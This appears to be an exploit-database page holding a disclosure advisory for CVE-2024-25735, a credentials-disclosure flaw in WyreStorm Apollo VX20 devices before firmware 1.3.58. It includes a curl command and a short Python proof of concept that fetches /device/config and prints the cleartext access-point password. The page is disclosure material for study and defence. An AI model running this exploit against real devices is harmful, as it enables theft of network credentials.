9734fcef1e
12 changes to exploits/shellcodes/ghdb Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'DoS' Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure' FAQ Management System v1.0 - 'faq' SQL Injection Flashcard Quiz App v1.0 - 'card' SQL Injection Simple Inventory Management System v1.0 - 'email' SQL Injection comments-like-dislike < 1.2.0 - Authenticated (Subscriber+) Plugin Setting Reset Online Shopping System Advanced - Sql Injection taskhub 2.8.7 - SQL Injection IBM i Access Client Solutions v1.1.2 - 1.1.4_ v1.1.4.3 - 1.1.9.4 - Remote Credential Theft
83 lines
No EOL
2.4 KiB
Text
83 lines
No EOL
2.4 KiB
Text
[+] Credits: John Page (aka hyp3rlinx)
|
|
[+] Website: hyp3rlinx.altervista.org
|
|
[+] Source: http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
|
|
[+] twitter.com/hyp3rlinx
|
|
[+] ISR: ApparitionSec
|
|
|
|
|
|
[Vendor]
|
|
www.wyrestorm.com
|
|
|
|
|
|
[Product]
|
|
APOLLO VX20 < 1.3.58
|
|
|
|
|
|
[Vulnerability Type]
|
|
Incorrect Access Control (Credentials Disclosure)
|
|
|
|
|
|
[Affected Component]
|
|
Web interface, config
|
|
|
|
|
|
[Affected Product Code Base]
|
|
APOLLO VX20 < 1.3.58, fixed in v1.3.58
|
|
|
|
|
|
[CVE Reference]
|
|
CVE-2024-25735
|
|
|
|
|
|
[Security Issue]
|
|
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58.
|
|
Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
|
|
The credentials are then returned in the HTTP response. curl -k https://192.168.x.x/device/config
|
|
|
|
E.g. HTTP response snippet:
|
|
|
|
:{"enable":"y","oncmd":"8004","offcmd":"8036"}},"screen":"dual","ipconflict":"y","wifi":{"auto":"y","band":"5","channel":"153"}
|
|
,"softAp":{"password":"12345678","router":"y","softAp":"y"}...
|
|
|
|
|
|
[Exploit/POC]
|
|
import requests
|
|
|
|
target="https://x.x.x.x"
|
|
res = requests.get(target+"/device/config", verify=False)
|
|
|
|
idx=res.content.find('{"password":')
|
|
if idx != -1:
|
|
idx2=res.content.find('router')
|
|
if idx2 != -1:
|
|
print("[+] CVE-2024-25735 Credentials Disclosure")
|
|
print("[+] " + res.content[idx + 1:idx2 + 11])
|
|
print("[+] hyp3rlinx")
|
|
else:
|
|
print("[!] Apollo vX20 Device not vulnerable...")
|
|
|
|
|
|
|
|
[Network Access]
|
|
Remote
|
|
|
|
|
|
[Severity]
|
|
High
|
|
|
|
|
|
[Disclosure Timeline]
|
|
Vendor Notification: January 18, 2024
|
|
Vendor released fixed firmware v1.3.58: February 2, 2024
|
|
February 11, 2024 : Public Disclosure
|
|
|
|
|
|
[+] Disclaimer
|
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
|
or exploits by the author or elsewhere. All content (c).
|
|
|
|
hyp3rlinx |